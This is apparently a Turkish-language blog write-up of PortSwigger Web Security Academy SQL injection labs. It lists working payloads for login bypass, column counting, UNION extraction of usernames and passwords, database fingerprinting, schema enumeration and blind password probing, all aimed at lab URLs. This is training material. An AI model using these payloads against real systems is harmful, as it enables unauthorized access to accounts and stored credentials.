BOOK THIS SPACE FOR AD
ARTICLE ADLab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Çözüm:
web-security-academy.net/filter?category=Lifestyle’+or+1=1 —
Lab: SQL injection vulnerability allowing login bypass
Çözüm:
Administrator’ —
SQL injection UNION attacks
SQL injection UNION sorgusunu çalışması için iki tane anahtar noktayı karşılamak zorunda:
- Bireysel sorgu ile Aynı sayıda sutun döndürmelidir.
- Bireysel sorgu ile aynı veri türleri olması lazım.
Bundan dolayı
- orijinal sorguda kaç kolon döndürüldüğünü bilmemiz gerekir.
- aynı veri türü olması gerekir.
Dönen sutun sayısını belirlemek için
- ORDER BY kullanabiliriz.
‘ ORDER BY 1 — Sorguda dönen birinci kolona göre sıralanacak verileri demek
‘ ORDER BY 2 — Sorguda dönen ikinci kolona göre sıralanacak verileri demek
‘ ORDER BY 3 — Sorguda dönen üçüncü kolona göre sıralanacak verileri demek
etc.
Hata alana kadar ya da uygulamada farklı bir cevap alana kadar bu şekilde işleme devam edilir. Hatanın anlamı bu sayıda bir sütun olmadığı ve bir önceki sütun sayısını doğru olduğu gösteriyor.
- SELECT NULL değerini kullanmak
‘ UNION SELECT NULL —
‘ UNION SELECT NULL,NULL —
‘ UNION SELECT NULL,NULL,NULL — etc.
Lab: SQL injection UNION attack, determining the number of columns returned by the query
web-security-academy.net/filter?category=pet%27+UNION+SELECT+NULL,NULL,NULL —
Veri tipini Bulmak için:
‘ UNION SELECT ‘a’,NULL,NULL,NULL —
‘ UNION SELECT NULL,’a’,NULL,NULL —
‘ UNION SELECT NULL,NULL,’a’,NULL —
‘ UNION SELECT NULL,NULL,NULL,’a’ —
Lab: SQL injection UNION attack, finding a column containing text
web-security-academy.net/filter?category=’+UNION+SELECT+NULL,’DOo5kF’,NULL — -
Using a SQL injection UNION attack to retrieve interesting data
Orijinal sorgunun döndürdüğü sütun sayısını belirlediğinizde ve hangi sütunların dize verilerini tutabildiğini bulduğunuzda, ilginç verileri alabilecek konumdasınız.
+ Orijinal sorgudaki veri tutan sütunları biliyoruz
+ where sorgu komutu kullanılıyor.
+ DB adını bilecen ve sütun adlarını bilmen gerekir.
Lab: SQL injection UNION attack, retrieving data from other tables
web-security-academy.net/filter?category=%27+UNION+SELECT+username,+password+FROM+users —
Retrieving multiple values within a single column
‘ UNION SELECT username || ‘~’ || password FROM users —
İlk olarak hangi kaç tane sutun ve sutünlarda dönen veriyi tespit etmemiz lazım.‘+UNION+SELECT+NULL,’dnotixx’ —
2. Daha sonra ilgili tablodan daha önce bildiğimiz iki sutünün birbirine yapıştırarak içindeki verileri okuyoruz.
Examining the database in SQL injection attacks
SQL açıklarından yararlanmak için DB hakkında bilgi sahibi olmamız lazım.
Bu bilgiler:
DB türü ve veriyonuDB tablo ve sütunlarıDatabase type
Query
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
Bunun aşağıdaki UNION komut ile öğrenebiliriz:
‘ UNION SELECT @@version —
SQL injection attack, querying the database type and version on MySQL and Microsoft
Listing the contents of the database
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘Users’
Lab: SQL injection attack, listing the database contents on non-Oracle databases:
web-security-academy.net/filter?category=’UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name=’users_aexpfh’ —
web-security-academy.net/filter?category=’UNION+SELECT+username_iawkxj|| ‘~’ ||password_ckcbxl,NULL+FROM+users_aexpfh —
Blind SQL injection
HTTP de dönen cevapta herhangi bir veritabanı hatası olmadığı durumlarda ki söz konusu olan güvenlik açığıdır.
Buradan veri çıkarmak sabır ister.
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) > ‘t
Lab: Blind SQL injection with conditional responses
Portswigger lab çözümlerin devamında görüşmek üzere.